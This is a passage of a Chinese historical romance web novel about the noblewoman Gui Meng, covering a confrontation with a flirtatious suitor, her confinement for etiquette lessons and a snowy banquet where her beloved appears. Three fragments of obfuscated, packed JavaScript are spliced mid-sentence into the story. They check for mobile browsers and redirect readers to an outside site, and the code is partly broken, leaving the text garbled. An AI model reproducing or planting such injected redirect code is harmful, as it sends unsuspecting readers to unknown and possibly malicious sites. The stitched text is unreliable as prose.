偏巧谢氏也从萧益的后方走了过来。方才那场闹剧发生之时,她本在左近,然而开始和结束得太快,她都还没反应过来,归梦就已经自行处理完了。萧益与夏侯敏均在,她也不便插口。 “梦儿?”萧益见归梦不说话似在思索什么,问道:“在想什么?” 归梦回过神,笑道:“我在想今日诗安为何没来。” “她近日身子不适。况且……”萧益眼底掠过一片阴影:“今日这种场合,她不便出席。” 归梦了然,侧妃说到底是妾室,没有抛头露面的资格。何况诗安出身寒门,能嫁与太子是破格高攀,以往少不了被人指指点点。平日在西苑还要被夏侯敏搓磨,心情不好,身子自然不会爽利。 她为诗安担忧挂心,萧益看穿她的心思:“御医说并无大碍,只是身子有些倦怠,多休养即可。对了,那本……画册你可看过了?”他温润的眸子里笑意融融。 归梦扑哧一笑,连连点头。那本当朝美男子图鉴…… 她正欲开口,却看见母亲站在萧益身后,顿时笑容僵在脸上。 ”可找着了?”萧益浑然不知。 这话被谢氏听个正着。 归梦硬着头皮摇摇头,她使了个眼色制止萧益继续往下说。然而谢氏已经走到俩人跟前,笑着发问了:“你们兄妹俩在打什么哑谜呢?什么画册?” 萧益一怔,倒是很快反应过来,笑道:“那日梦儿跟孤说起顾恺之的画,问孤可有收藏。孤说不曾有,她便想去寻来。” 归梦连声说是。 萧益安慰道:“无妨,回头孤再设法替你搜罗。” 这话一语双关。 归梦有些歉然,太子哥哥对她的事情竟是这么上心。只是现下八字还没一撇,她只能先瞒着他了。 谢氏点点头:“原来如此。不过,我这做母亲的倒不知道她什么时候对画也感兴趣了。”说着眼风漫不经心地扫过归梦。 归梦掩饰:“女儿前几月不是去跟太子哥哥的侧妃学画嘛,便是那时产生兴趣的。” 萧益笑着点点头:“正是,诗安都夸梦儿有天分呢,还念着这位徒弟,直问她这阵子怎地不去西苑了。” 谢氏微微一哂:“这丫头向来是三天打渔两天晒网的性子,只能枉费了侧妃的悉心指教。”她顿了顿又道:“左不过明年就及笄了,待成了婚,操持中馈,怕也没有闲情逸致画画了。” 谁承想,最后又绕到她的婚事来了。 归梦只觉扫兴无趣至极,当着母亲的面很多话也无法和萧益说了,于是借口更衣带着紫芽告退了。 更衣的地方是在高台后的几幢精舍里,乃是皇家特地兴建,以供来此野宴之时休憩更衣如厕之用。 归梦随意择了套碧水色绫裙换上,又将微松的发髻重新绾了绾。收拾好之后,信步出了精舍。 这山顶空气舒爽,归梦看到精舍后方满林的槭树,落叶堆积如火,煞是动人,忍不住沿着小径向里走去。 本是随意赏景,谁知往里走了没多久,就依稀听到有人在交谈的声音,是一男一女。 归梦怕撞破他人的好事尴尬,又抑制不住好奇心。当即示意紫芽噤声,提起裙摆蹑手蹑脚地一点点靠近。 那人声越来越清晰了。 只听女声说:“听闻公子近日颇喜听吹笛,凑巧我幼时也学过一阵子,哪日方便,公子也可指点指点我……” 男声笑笑:“你听谁说的?是了,一定是我那三妹跟你混说。吹笛嘛……不过是小技,不学也罢。本人从来最欣赏满腹诗书的才女了……” 归梦听得这声音有些耳熟,待得再走近一些,凝神望去——薄日流云下,枫林掩映间,面对面说着话的正是王子野与张绮彤。 张绮彤的一张俏脸正如她身上穿的桃红色宫装一样红,年轻饱满的面庞上满是小女儿的喜态与羞意,全不见平日里的倨傲之色。她抬起眼眸看着王子野,鼓足勇气道:“别的不敢说,诗词歌赋我还略知一二……” 王子野挑了挑眉,像是来了兴趣似的:“哦?那属实不易。若是针织女红也通,那真是贤妻之选了。” 张绮彤微一犹豫,从袖中掏出一方锦帕,双手递了过去,含羞带怯道:“这是我亲手绣的,公子觉得如何?” 王子野伸手接过的瞬间手指有意无意地触碰到张绮彤纤细的指尖,惹得她面上绯红一片。 他边看边赞道:“啧啧,好绣工!妹妹生得好一双巧手,依我看,绝不输给城中天衣阁的绣品。” 张绮彤听他唤自己“妹妹”,不胜欣喜,更是羞涩地低头浅笑。 归梦和紫芽藏身于一棵槭树后,离他们大概也就十步之遥。她在一旁看得分明,这张绮彤是春心萌动喜欢上王子野了。 归梦心中又是鄙夷又是叹息。她喜欢谁不好,偏要喜欢这厮。 想起那日在莳花楼见到王子野,他左拥右抱徜徉于脂粉堆中的情景——称他为“风流阵里急先锋”也不为过。 张绮彤多半是被此人的皮相所迷惑,否则她真不知道这王子野有什么可取之处。 她边偷看边腹诽。 王子野把手帕凑到鼻端闻了闻,又凑近张绮彤耳边低声说了什么,张绮彤霞晕双颊,一拧身提着裙摆跑了。 轻佻!归梦虽没听清王子野说了什么,但是观其行状,又看到张绮彤的反应,她料想一定是轻薄轻浮之言。 紫芽随在归梦身边,一齐躬身弯腰猫在树后,腿都有些酸了,脚下一不留神踩中地上一截枯败的树枝。“啪”的一声,在这仅有瑟瑟风声的静谧树林中,显得格外清晰。 “是谁在那偷听?”王子野察觉,朗声问道。 归梦朝紫芽摇摇头,她拉着紫芽打算朝另一侧林子深处躲去。 然而王子野慢慢走近了,语气透着威胁:“再不出来,本公子可叫人把这林子翻个底朝天了!” 归梦跺跺脚,逃不过了。 她索性带着紫芽大大方方走了出来。 王子野见是她,眼前一亮,笑道:“是你?”说话间慢条斯理地将手上的手帕随手放入怀中。 “你怎么总是这么冒冒失失的。近来可好,岑公子?”他念“公子”这两个字的时候特别加重了语气,显然是在揶揄归梦之前女扮男装。 归梦一看见他那双闪着促狭笑意的凤眼就觉得不舒服,当下冷冷道:“是我,怎么样吧?” 他从头到脚细细打量了她一番。 只见她满头乌丝梳成不失身份的如意双环髻,头上插戴了两支攒梅花钗,耳上的翡翠环与身上的碧水青色宫裙相辉映。虽是裹着一件织锦翠纹的锦缎斗篷,仍看得出身量纤细修长,秀若翠竹,在满林的红枫中翩然出尘。 就像她的个性一样,爽直利落。 王子野不觉微微颔首:“今日登高野宴人多,我不知道你也来了。没想到……”他一脸玩味:“你换上女装的样子还不赖嘛!虽算不得绝色,但也是清秀佳人了。” 归梦从小最恨被人点评容貌。因为她深知自己不够美,即使被评价也多是”中人之姿”、“清秀脱俗”这样的字眼。 但凡女子都是极度爱美的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599188|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,加上归梦有个美人母亲,也免不了被拿来与母亲年轻的时候相较。 可以说,她活在母亲的光环下,也活在被父母认为她生得不够倾国倾城,不是绝色美人的遗憾之中。 王子野这几句话完全触到了她内心的隐痛。 归梦怒冲冲道:“轮得到你对我评头论足?再怎样也好过你!仗着一幅皮相,勾引无知女子。呸!真是轻浮无状,令人作呕!” 紫芽在旁边吓得不轻,知道自家姑娘的脾气上来,什么礼节修养全都不要了。 王子野被骂得愣了片刻,他第一次见到如此凶悍的士族贵女,之前只道她是个顽皮小猫,却忘了猫儿也有利爪。他随即笑笑,叹道:“女公子骂得是。多谢夸奖。” “谁夸你了?”归梦啐道。 王子野笑眯眯道:“方才你说我‘仗着一幅皮相……’那不就是承认我的皮相还不错吗?承蒙女公子玉口称赞。” “你这人……”归梦又好气又好笑,真佩服此人的厚颜无耻,她决定闭口,再也不多说一句。 他稍稍走近了一些,她立刻如临大敌,朝后退了几步:“你想做什么?” 王子野无奈道:“我不过是想问问,你可如愿把那锦瑟姑娘赎走了?” 他不提此事,归梦倒还没想起来。眼下他主动提起,归梦心中疑心大起:“好哇,果然是你搞得鬼!” “天地良心,你可莫冤枉好人。”王子野苦笑道。 “你还装!你把锦瑟弄哪去了?!” 王子野笑笑摇头:“你一个姑娘家,便不能温柔些吗?一个小小乐伎的去留还不至于被我王子野放在心上。不过我还真想不到,士族中竟然有你这样生动鲜活,还有几分侠气的女子。说实话,你这火爆脾气还真吸引我……”他说着用充满研究意味的灼灼目光注视着她。 归梦被他的眼神看得浑身不舒服,感觉他的目光像是要穿透她的衣服似的。她气咻咻道:“我为什么要对你温柔?本姑娘脾气就是这样,不用你管。你这登徒子,少拿你哄骗女子的那套出来,不知羞!”归梦转身要走,王子野却闪身拦在她身前。 “你让开,不然我叫人了!” “叫吧,若是给旁人撞见你我私下在树林中,我是没什么,岑公子你可是解释不清了……到时候说不定,只能嫁我了。”他那双漂亮的凤眼里又满是促狭笑意。 归梦怒极反笑:“呸,你想得美。你到底想怎样,说!” 王子野看着她清晰说道:“想娶你啊。” 归梦哑然。面前的这个人简直是不可理喻。算上这次,她和他一共才见过三面,说过三次话而已,并且每一次都不太愉快。 是了,他一定是和夏侯权抱着一样的想法,想借着娶她来巩固门楣和势力。 她叹了口气,明知是对牛弹琴,可还是想把心里的话说出来:“我不想嫁你。” “为什么?” “因为我有喜欢的人了。”归梦知道对这个狡猾的家伙,编什么理由借口都是白费,就这么直截了当地告诉他拒绝他是最简单的办法。 王子野有些意外:“哦?是谁?是谁也不妨事,因为那人无论相貌才学一定都比不上我,你迟早会移情于我。”他负手而立傲然笑道。 归梦冷笑一声:“你错了,那人无论相貌、才学都比你强多了。你还是死了这条心吧!” 王子野淡淡道:“是吗,世间还有这等人?是谁?你不说出他的名字,怕不是你杜撰出来的吧!” “不是杜撰,我就是不想告诉你,免得你嫉妒他,去害他!” 王子野哈哈大笑:“好!冲着你这句话,我倒要等着看看他是谁了。” 31. 晚来急 被王子野这么一搅和,归梦也没有心情再去寻明铮。 紫芽劝道:“梦娘莫急,来日方长,这香囊总能送给明公子的。” 如何可以不急呢?重阳就这么过去了。 两日后,岑熙从宫中带回消息。太子已经正式回绝了侯峻求娶士族贵女的奏请。原来侯峻在豫州早有姬妾和孩子,只是隐瞒不报。他已近而立之年,骤然封王留居京师,自知是异族不容于南朝,是以想求娶高门贵女以彰身份擢升地位。 获知这个消息自然是一件喜事,可归梦却高兴不起来。 因为与此同时父亲还带来了另一个消息——那祖将军竟然真的伤势渐愈,已恢复如常了。祖家为答谢上次岑府送去的补品还派人送来了回礼。 她本以为危机已然解除,可父母亲这次是真的考虑与祖家联姻了。 谢氏甚至特意请了宫中资历深的教养姑姑来指点归梦规矩,以免成亲后失了体统贻笑大方。用她的话说:“早些年咱们在高平,把你放养骄纵得太过了。” 归梦每日被拘在嘉宁阁中学习刺绣烹茶,还要学着看账目,只学得头昏脑胀。那宫中来的教养姑姑不苟言笑,且得了母亲的授意格外严厉,加上归梦生性散漫,学得不用心,自然是常常弄得两厢不愉快。 这天上午刚听完教养姑姑一通教诲,课程方一结束归梦就忍不住冲回卧房,对着衣柜一阵翻找。 紫芽见归梦翻出一件男装就要换上,急忙拦住:“梦娘这是做甚,下午姑姑还要验收你的女红功课呢!” 归梦把手一甩:“让她验收鬼去吧!我再也忍不了了,今日我非要出去不可!” 紫芽急道:“梦娘午膳还没用呢,再说要见明公子也不急于一时!” “我不饿,什么都吃不下。你别跟我说来日方长,我只觉得夜长梦多!” 紫芽劝道:“八字还没一撇呢……” “难道要等到祖家来下聘了我才能开始着急吗?”归梦三两下换好衣服,打散发髻就要开始绾头发。 紫芽无奈道:“可是真的出去不得啊,若是下午教养姑姑发现人不见了,主母必然知晓,到时候免不得责罚……” 归梦拍拍紫芽肩膀:“放心吧,我一人出去,到时候你就推个干净,就说不知我何时溜出去的。” 紫芽见归梦已经换好一袭青袍,头也梳成了男子样式,已是整装待发。她只能欲言又止。 归梦找出那个香囊,珍而重之地放进怀里,冲紫芽笑笑,走到门前四下张望一番,趁着无人便朝后院的角门而去。 她行到一半忽又想起临走时紫芽静静坐着的样子。她就这么溜出门了,简直是顶风作案。紫芽真的能逃过责罚吗? 就这么想着,她步子沉重了起来,明明已经到了角门附近,竟是再也难迈一步。 这么一道门,一堵高高的围墙,隔住了她的世界,分开了她与她喜欢的人。 归梦如梦游一般回到了房里。 紫芽见归梦回来自然是又惊又喜,一颗悬着的心放下了。 归梦呆呆坐下,幽幽叹道:“紫芽,你懂得相思之苦吗?” 紫芽茫然摇摇头。 原来,平生不会相思,才会相思,便害相思。竟是真的如此。 “你不明白——‘一日不见,如隔三秋’。”也不知从什么时候开始,她对明铮的感情竟是如此之深了。她生平从不曾如此渴望得到过一样东西,令她辗转难眠,日夜悬心。 紫芽小心翼翼道:“我虽不懂得相思之苦,但是我看得出,自从梦娘你认识了明公子,想的多了,愁眉也多了。以往你心胸开阔,从不曾费力费心去谋求什么。你过去十几年花的心思,都不如这大半年花的多。” 归梦想了想,好像确实是这样。 “若是要我为一个男人受这样的苦,我宁可不要。”紫芽感慨道。 归梦沉默片刻,驳道:“怎能算是为了他呢?我是为了我自己啊!为了我喜欢,为了我期盼的那种情。”她走到桌案前坐下:“既然出不去了,你去帮我送两封信吧。” 这两封信分别是给太子萧益和表哥谢炅的。信的内容很简单,让他们邀约她出门。除了表哥和太子哥哥,恐怕没人能让她这般没有负担地利用了。也只有他们开口,母亲才能让自己喘口气。 她筹谋着,两封信至少能换来两次出门机会吧。可是左等右等,一连三日,竟不见任何回信,也不见谢炅上门,信发出去仿佛石沉大海了。 她气急败坏地再三询问紫芽是否把信送到了。紫芽垂着头道:“表少爷的那封信交给他的亲随了。至于太子那封信,西苑的侍卫不让我进,我只能托侍卫转交了。” 归梦度量着,太子□□理万机,西苑内务有夏侯敏在处理。这封信能不能到太子手上也未可知。罢了,好在信上并未写什么敏感的话,纵使被他人看见也无妨。 她已不对太子那边寄予希望。只是很气谢炅不够意思,收到信也不来解救自己,下次见到面定要责问他一番。 这几日茶饭不思,神情不属,每日还要应付那教养姑姑布置的功课。 归梦整个人都消瘦下去了,也不似平日活泼好动。 这日傍晚,谢氏来到嘉宁阁中,忽地发觉自家女儿多了些优娴贞静之态,倒是又诧异又欣慰,还以为是教养姑姑的功劳。 归梦这几日规矩学得多了,习惯性地给母亲行了个一丝不苟的周到大礼。 谢氏欣然道:”见你如今这样,为娘也可放心了。明日那教养姑姑便去了,你也可松泛松泛。瞧,太子托人送来的帖子。炅儿在会稽的庄园落成了,下月初三遍邀友朋前去一聚。你这几日便动身,与太子一道前去吧。” 归梦又惊又喜,一颗心怦怦直跳。她不可置信地接过帖子,听到自己的声音都透着喜悦:“母亲不同去吗?” 谢氏伸手扶了扶归梦鬓边松松欲坠的珍珠花簪,微笑道:“太子来下帖子时说了,让我只管放心,他定会看护好你。况且炅儿也在那,到会稽左不过两日的路程。为娘就不随你一起了。” 归梦没想到,太子竟是如此懂她,细心做了这样的安排。这样一来,她至少有五日的时光在外面,不愁没有时间去找明铮了。 归梦难得这样仔细地照镜子。这几日的迅速消瘦,让原本饱满柔和的面颊线条变得清晰起来,像是璞玉被雕琢过一样。 浓黑的秀眉下一双大而圆的杏眼黑白分明灵动有神,鼻梁高挺,两瓣红润娇小的嘴唇微微弯起。确是一张秀美而英气的脸庞。配着纤纤的身量,愈发显得整个人恍如深秋风中的一枝苇叶。 “紫芽,我好看吗?”归梦望着镜中的自己问身后正给自己梳妆的紫芽。 紫芽抿嘴笑道:“梦娘向来不注重容色的,怎地忽然问这个?”她和归梦一起长大,归梦自小就是男孩一般的个性,不爱打扮,不爱珠环佩饰,时常素面朝天,随性自在,都是从和明铮开始交往才变了的。 她顿了顿,看着镜中的归梦由衷地赞道:“梦娘自然是好看的。” 归梦笑了笑,忽又叹了口气:“好看顶什么用,我不过是寻常的好看罢了。”京师之中美女如云,姿色胜过她者不在少数。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599189|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明铮的身边,曾有过宋华年那样出色的美人,至于他的家姊诗安更是倾国之貌。 紫芽用白玉篦子轻轻梳着归梦如瀑的长发,安慰道:“依我看,明公子绝非是以貌取人的肤浅之人。梦娘待他的一片心,他必能懂得的。” 会稽山。 归梦是两日前在西苑与太子一同出发的,路上有羽林军随行开道,自然无不顺遂。如此行了两日,在驿馆过了两夜,第三日中午便到了谢炅的庄园了。 其时士族多在会稽兴建庄园,原是爱这里的山明水秀。归梦不是第一次来会稽了,前年也曾随父母一道去族中叔老的庄园小住。 萧益下了马车,四下张望一番,入目之处渺渺茫茫,碧落白云,千岩竞秀,万壑争流,情不自禁叹道:“好地方!如此崇山峻岭,茂竹修林。谢炅倒是会享受!” 两人并肩而行,四处风景如画,惹人流连不已。 归梦调皮道:“太子哥哥可是羡慕了?” “逍遥一世之上,睥睨天地之间。岂羡夫入帝王之门哉!”萧益感慨道。 归梦赞同:“住在这般世外桃源,伴以高山流水、清风明月,确实羡煞旁人。” 紫芽见太子有一瞬间恍惚出神,急忙拉了拉归梦的衣袖。归梦才发觉有些失言。 太子哥哥生在帝王家,身为储君,一定有许多无可奈何身不由己,这样的日子,是他可望而不可及的吧。 萧益很快恢复如常,哈哈笑道:“无妨,梦儿,也唯有在你和诗安面前,我能表露内心。” 仪仗早在三里外之时,便有使者先去通报了。谢炅得了消息,已在东门前候驾了。 三人本是中表之亲,难得在这般明秀景致中同游,自然是相叙甚欢。谢炅引着太子与归梦,一路上边走边谈。归梦兴致勃勃,虽是舟车劳顿,竟也不觉得累。 这庄园甚大,左傍连山,右滨长江,要走完恐怕都需要大半日的时光。 谢炅担心萧益的腿脚受不住,特地备了轿辇。萧益却不肯坐,坚持要一同行走。 约莫行了一盏茶的时光,一路上但见山川涧石,州岸草木,果园洼田,阡陌纵横。 眼前不远处有一大片如镜面的澄净湖水,湖中别有匠心地搭了曲折石桥,蜿蜿蜒蜒地,直达湖畔的一座高楼。 “瞻云楼上已备了酒菜,给殿下接风洗尘。”谢炅笑道。 归梦拉了拉谢炅衣袖,问道:“可有旁人在?” “王家那几位已然到了,本要来一同迎接殿下。臣想着殿下一路过来必然劳累,便做主让他们先在淇园先休息了,晚些时候再来拜见。” 归梦听到“王家”两个字,心里又是一沉,王家兄妹必是来了,这一对冤家真是怎么都避不开! 太子像是看穿了归梦的心思,拍拍归梦的肩膀,笑道:“这是谢家的地界,孤和谢炅——你的两个表哥都在这里。你还怕得谁来?” 宴席极为丰盛,鱼虾蟹贝,草菇野菜,均是庄园中现采现捞烹制,极为新鲜。 只是这顿饭吃得并不安稳,这日已是初三,所以不断有家丁侍从来禀告谢炅有客到了。萧益极为随和,让谢炅先行去安排众客以及晚宴事宜。 萧益所食不多,浅饮几杯便停了箸。他走到窗前,极目远眺,由衷赞道:“这瞻云楼不负其名,左湖右江,往渚还汀,面山背阜。是观风瞻云的极佳之处。” 归梦抬头望着窗外空中慢慢出现,继而增多,纷纷扬扬飘来的物事,奇道:“那是什么?是雪吗?” 如今不过十月初,这会稽郡竟然下起雪来了。 32. 雪一更 “梦儿,此情此景,倒让我想起表姨母少时所作的那句诗来了。” 归梦脱口而出:“未若柳絮因风起?” 萧益笑道:“正是。此句确是佳句,传神极了。谢炅此次本也欲邀姨母前来,被她推拒了。想来这次来的小辈居多,她老人家不欲来凑热闹。” 归梦想到这位表姨母自嫁给王家那不成器的儿郎——算起来应当是王如芝和王子野的伯父,夫妻不谐,一年中倒有半年都以养病为由住到庄园去。 王家、岑家、谢家,当真是剪不断理还乱的关系。 萧益忽道:“你可知我为何这次要携你同来吗?” 归梦奇道:“太子哥哥不是收到了我的手书吗?” “手书?”萧益茫然摇摇头:“那日我正在与谢炅议事,他说会稽的庄园落成,又恰巧从侍从那得到你的手书,便拿与我看,索性让我出面,带你到这里游玩两天。” “原来你只看到了我给表哥的手书,可我明明也让紫芽送了一封信到西苑给你……” 萧益长眉一轩:“是吗?我并未收到。此事我会去查问清楚的。” 归梦点点头。其实她和萧益心里都清楚,会是谁扣下了书信。 她绕回之前的话头:“太子哥哥对梦儿的好,梦儿都记在心里。太子哥哥若有什么烦心事,也尽可与我诉说。” 萧益笑笑:“与你聊天就是舒坦。我也不必掩饰。” 他眉头轻蹙,目光飘向远方:“我朝偏安江左,看似长泰无虞,长此以往却是岌岌可危。眼下朝中高官厚禄身居高位者多是尸位素餐的门阀子弟。我有心肃清朝野,革新旧制,却力不从心。可堪重任,能独当一面者少之又少……” 归梦沉默了。朝政之事,她所知甚少,也无法给太子出谋划策。 “你也看到了,这庄园一旦落成,谢炅恐怕更是不理世事。谢氏族中,在我们这一辈,他是最出色的了。对他,我是既羡慕又痛恨。”萧益有些感慨地玩笑道。 归梦了然。若是可以,谁不愿整日寄情山水,吟弄风月,可是,这万里江山,总有人要挑起重任。 她心头蓦地升起无限豪气,拍拍胸脯道:“梦儿虽是女子,可心是一样的。太子哥哥但有所命,我会赴汤蹈火,在所不辞!只一件事——除了和亲。” 萧益被她逗乐了:“就你这受不得半分气的直率性子,送你去和亲?那不如直接宣战。” 两人都笑了起来。 这雪下得又急又密,坠落的雪珠子落入湖面江面上,消失无踪。而地面上却很快铺起来一层薄薄的白色。雪花顺着风势,被寒风一卷一带,飘进了窗子。 归梦被寒意一侵,忍不住打了个哆嗦。 萧益笑道:“走吧。临江当风观雪虽雅,着了凉可不妙。” 从瞻云楼到淇园还有一段距离,谢炅已派了人来引路。 萧益和归梦披着斗篷,侍从们从旁撑伞,两人缓步而行。 逐渐积雪的路面变得湿滑,雪路难行。纵然是打着伞,这般踏雪而行,待得走到淇园,两人的鞋袜也已有些濡湿了。 早已候着的丫鬟仆妇拥上来,归梦和萧益各自先去东西暖阁更衣。 归梦携着紫芽在西暖阁换衣。 这里陈设无不精巧雅致,屏风软榻都是新制,案几上一座鎏金博山炉正静静散发着袅袅香烟。 一旁的丫鬟递上热帕子,服侍得极为妥帖周到。 归梦不习惯陌生面孔在旁,仍是让紫芽伺候着更衣。 “什么时辰了?”归梦问道。 紫芽一时答不上。旁边丫鬟低眉垂眼道:“回女公子,已是申时一刻。主人与贵客们都在云梦轩了。” 时候差不多了。归梦对镜自照,无甚不妥,便命侍从引自己前去。 紫芽担心天寒,便把那织锦羽缎斗篷换成一件青红染金镶雪狐毛的鹤氅给归梦披上。 云梦轩便在暖阁后方,依傍着一片森森竹林。积雪已然压上了竹子的叶稍。这雪未有停歇之意,怕是要下上一整晚了。 正堂门前两侧侍卫与内监垂首而立。看来太子早已到了。 厚重的锦帘掀起又放下,将冷风与雪珠都隔绝在外。 正堂内早已烧上了炭火,烘得一室暖洋如春。众人见归梦进来,原本在说笑的也都停了下来。 归梦环顾一周,只见夏侯权和王子野以及其他几名士族子弟正围在太子与谢炅身侧,在桌案前围着品评什么。 另一边小圆桌前,是以王如芝和张绮彤为首的几位女娘,正尝着点心果子闲话。 张绮彤最先开口。 她白嫩纤手攥着手绢,轻遮弯起的嘴角:“原来是归梦妹妹来了。你这身打扮,方才我还以为是昭君出塞归来了呢。”两句话引得王如芝与其他女娘纷纷发笑。 归梦只淡淡瞥了张绮彤一眼。 瞅见她手中的手绢,忽地想起了重九那日在林中偷看到的情景,她脱口道:“张姊姊的手绢倒是挺多的。” 张绮彤见她无端端地提起手绢,不由得一怔,不知她是何用意,惊疑不定,一时说不上话来。 紫芽给归梦解下鹤氅。鹤氅下是一件玉兰色绣长枝堆花襦裙配着浅湖绿色窄袖绫衣。 归梦只梳了寻常的双髻,薄施脂粉,唯有头饰是略为华贵的束发金环,看起来清雅脱俗而不失贵女的骄气。 有佳人出现,在场的男子少不了侧目,贵女们也止了笑不说话了。 萧益开口打破了冷场:“梦儿,我们正在品评你表哥的这篇文章,你也一道来。”说着冲她招招手。 归梦笑着应了。 她莲步轻移,走到谢炅与萧益之间,嗔道:“太子哥哥这话说得生分,谢家表哥不也是您的表弟?咱们三个身上可都流着谢氏的血呢。”说着一手挽住谢炅,一手挽住太子,傲然笑着扫视全场。 她本不是自恃身分的人,平日也最讨厌用身份地位压人。但此时眼见众女对自己颇有排斥和敌意,等一下还不知有多少刻薄话语,索性先高调示威。 果然,众人均不言语。夏侯权轻哼一声,撇过头去。 唯有王子野凤眼斜挑,走近一步,轻摇羽扇,笑道:“正是正是,岑公子有这样两位表哥,普天下谁人敢欺?足以羡煞旁人。” 归梦听他阴阳怪气当众喊她“岑公子”,两眼一翻并不搭理。 王子野也不气,仍是笑眯眯地望着她,像是要把她研究透了似的。 归梦把谢炅拉到一边,悄声埋怨道:“怎地今日这么多人?夏侯权和张绮彤也来了。你也不提前支会我一声。早知这些人都来,我就不来了……” 谢炅轻叹一声:“冤枉啊,我怎知你与他俩也不对付呢!夏侯权是太子内弟,他要来,我可没法拒绝。至于张家姑娘,今日的帖子是太子下的,我不过借个地方……” 归梦无语,只好暂且放过他。 说说笑笑间,时辰已近酉时,窗外的天光渐渐弱了下去。谢炅命人点上了灯,宴席也已一字排开,桌几摆了上来。 太子问道:“人都到齐了吗?” “还邀了两位好友,只是不知他们能否得空前来……”谢炅正说着,忽听门外传来动静,不由喜道:“想必是到了。” 不知是什么人姗姗来迟,众人都颇有些好奇。 那锦帘掀起,伴着些许冷风,归梦看见一个熟悉的人影闪身走了进来。 来人解下鸦青色披风,一身白衣绸衫,颀长挺拔,徇徇儒雅,如同风雪中傲然峭拔的一尾绿竹。那剑眉星目,含着融融笑意闪着自信光芒,正是她日夜牵念再熟悉不过的那个人。 是明铮来了!归梦一时手足无措,不知该往哪躲。她惊惶地看向紫芽,紫芽也跟着紧张起来,只能伸手握住归梦微微颤抖的手示意她稍安勿躁。 事发突然,避无可避。 归梦正想背过身去,不让明铮瞧见自己。可是已然来不及了。 明铮的眼风扫来,与她目光交汇的瞬间,她只觉得背脊僵硬,无所适从,只是表面上兀自强装着镇定。 然而明铮的视线只短暂停留在她身上一瞬,就移开了。 归梦又感到巨大的失落,她的目光一聚集在明铮身上就再难挪开。在场的所有人也和她一样,忍不住被明铮吸引,众人的目光均射向明铮牢牢被他锁住。 锦帘并未放下,一眨眼,明铮身后又出现一名身材高大的男子,他裹着玄色薄毡大氅,背着光站着,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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归梦看到,自这二人进门,那些士族子弟虽忍不住去看明铮,但是那些目光多是嫉妒与惊艳。他们只跟那玄衣男子交谈见礼,故意冷落明铮。 谢炅此时把话题引到明铮身上,颇有替他缓解尴尬之意。 玄衣男子此时却出声赞同:“远书那篇《安民策》写的鞭辟入里,关于如何安置北来流民,确是真知灼见。” “所谓‘丈夫志四海’,其实小弟最佩服的还是祖兄,疆场杀敌,横刀立马,保土安民。”明铮谦恭地笑笑,侧首望向他。 玄衣男子听出明铮这话发自肺腑,二人相视一笑。 归梦的一颗心本全在明铮身上,只是听他们之间的对话,不得不注意到那玄衣男子。 他姓祖,又刚受过伤,还带兵打仗……这些线索串起来,难道他就是……祖太君的孙子,祖家军的第三代将领? 她听父母说过他的名字——祖遐。 今日这聚会该来的不该来的都出现了,归梦心中隐隐担忧,接下去还不知道会发生何事。 只听萧益朗声笑道:“你们都是朝廷的股肱之臣栋梁之才。好了,快落座入席吧!” 当下萧益坐了主位,谢炅作为主人坐在左首次一位,夏侯权毫不客气地坐在了右首次一位。 萧益示意明铮与祖遐落座。祖遐走到谢炅身边,明铮刚要在夏侯权身边坐下,便听见那夏侯权冷冷道:“培无松柏,薰莸不同器。什么破落户,也配和我坐一起!” 明铮怔了一下,仍是面色如常,唇角依旧挂着淡淡笑。显然他被这般对待已不是第一次了,也早有准备。 归梦见状大怒,感觉比自己被侮辱了还要生气,她正要上前却被紫芽紧紧拉住。 气氛有些微妙,萧益面露不豫,正要开口。却见那祖遐已然大步走来,拉着明铮走到夏侯权身旁,大大方方地坐下了。 祖遐斜睨着夏侯权,不无讥诮地说:“夏侯兄不必妄自菲薄,你虽不配,我却不嫌。”言下之意是讽刺夏侯氏与他祖家相比也不过是个破落户罢了。 他坐在夏侯权与明铮之间,毫无半分不自在,坦然自若地自斟自饮起来。 33. 意难平 夏侯权被反讽一番,恼羞成怒,一张脸涨成猪肝色,却敢怒不敢言。 祖遐出身大族又手握兵权,为人也精明强干,无论家族还是个人能力都比他强了百倍。就算闹起来,太子也不会给他撑腰。 归梦见祖遐为明铮出头又出了气,顿时对这个人心生了一些好感。 能不介意门第与明铮为友,必然也不是俗物吧。 归梦一眼望去,他二人在一处,一个俊逸出尘,一个英武不凡,犹如松柏与翠竹,叫人不舍得挪开目光。 另一侧,王子野与表兄谢炅比邻而坐,也是一时瑜亮。 这场聚会,恐怕是把京师最出色的男儿都聚齐了。 归梦不确定明铮到底有没有认出她来,只盼着这宴会结束前都躲在角落不要引人注意。是以她混在众贵女之中,打算随意落个座,哪怕是末席也无所谓。 哪知太子却点名叫住了她。 归梦呼吸一窒,僵硬着手足,慢吞吞地挪到萧益身边,眼风都不知该朝哪放。 她被萧益拉着坐在身边,听着他向明铮和祖遐介绍自己:“这是东安侯岑家的千金,也是孤和谢炅的表妹。你二人应该是第一次见到她吧?她幼时随父母常驻高平,才回建康三年。” 